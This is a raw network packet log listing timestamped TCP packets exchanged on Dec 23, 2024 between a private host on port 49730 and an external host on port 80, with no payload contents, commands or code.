Dec 23, 2024 17:16:44.060203075 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060240030 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060252905 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060286045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060286045 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060317993 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060318947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060352087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060400009 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060432911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060434103 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060465097 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060465097 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060498953 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060499907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060532093 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060532093 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060563087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060564041 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060600042 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060615063 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060647011 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060647964 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060679913 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060681105 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060713053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.060714960 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.060745001 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061139107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061184883 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061189890 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061223030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061225891 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061255932 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061255932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061288118 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061295986 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061325073 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061394930 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061428070 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061429977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061460972 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061460972 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061495066 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061496019 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061527967 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061530113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061561108 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061562061 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061594009 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061594963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061625957 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061626911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061659098 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061657906 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061690092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.061691999 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.061724901 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062002897 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062038898 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062052965 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062088013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062102079 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062143087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062151909 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062186956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062201023 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062238932 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062243938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062272072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062273979 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062304974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062314987 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062338114 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062340975 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062370062 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062371016 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062400103 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062402964 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062436104 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062437057 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062467098 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062469006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062500954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.062501907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.062577963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063025951 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063060045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063070059 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063093901 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063097000 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063126087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063128948 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063158989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063159943 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063191891 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063194990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063225031 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063227892 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063261032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063530922 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063564062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063570023 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063596964 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063599110 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063630104 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063633919 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063663006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063666105 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063697100 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.063697100 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.063731909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064112902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064153910 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064156055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064189911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064297915 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064333916 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064352036 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064389944 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064402103 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064444065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064450979 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064482927 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064491034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064516068 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064517975 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064553976 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064567089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064599991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064604998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064631939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064635992 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064665079 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064672947 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064696074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064698935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064709902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064723969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064727068 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064738989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.064743996 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064760923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.064775944 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065385103 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065396070 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065407991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065418959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065421104 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065428972 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065439939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065443039 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065449953 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065460920 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065470934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065474033 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065480947 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065491915 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065495968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065502882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065509081 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065514088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065526009 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065536022 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.065536976 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065550089 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.065573931 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066168070 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066179037 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066190958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066201925 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066203117 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066212893 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066224098 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066231012 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066260099 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066694021 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066704988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066715956 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066726923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066729069 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066740036 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066755056 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066781998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066787004 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066797972 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066808939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066817999 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066821098 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066833019 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066843987 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066845894 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.066867113 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.066879988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067568064 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067578077 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067589045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067600012 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067606926 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067615986 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067625999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067630053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067636967 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067648888 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067653894 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067658901 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067670107 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067671061 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067681074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067692041 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067697048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067703962 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067713976 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067722082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067725897 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.067740917 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.067790031 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068387985 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068427086 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068428993 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068438053 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068454981 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068455935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068465948 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068473101 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068481922 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068490028 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068491936 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068502903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068509102 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068515062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068526983 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068573952 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068602085 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068613052 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.068634033 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.068655968 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069417000 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069427967 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069438934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069448948 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069454908 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069459915 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069470882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069477081 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069480896 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069504976 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069520950 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069869041 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069885015 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069899082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069905996 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069911003 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069926023 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069926977 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069937944 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069948912 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069952965 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069960117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069971085 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069982052 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.069982052 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.069992065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070003986 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070010900 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070015907 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070024014 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070027113 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070048094 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070064068 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070791006 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070801973 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070811987 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070822954 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070839882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070839882 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070849895 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070861101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070868969 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070871115 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070882082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070885897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070893049 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070904016 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070909023 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070915937 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.070930004 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.070951939 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.193865061 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.193983078 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.193988085 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.194035053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.194143057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.194192886 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.194197893 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.194242001 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.194961071 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.195005894 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.195050955 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.195090055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.195808887 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.195858955 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.195904970 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.195943117 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.196696997 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.196748018 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.196810961 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.196852922 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.197598934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.197647095 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.197654963 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.197704077 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199034929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199073076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199084044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199109077 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199112892 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199167967 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199474096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199522972 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199893951 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199943066 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.199958086 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.199999094 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.200678110 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.200733900 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.200741053 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.200777054 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.201555014 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.201601982 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.201689959 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.201734066 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.202625990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.202672005 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.202975988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.203032970 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.203250885 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.203294039 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:44.203527927 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:44.203571081 CET	49730	80	192.168.2.9	185.215.113.16
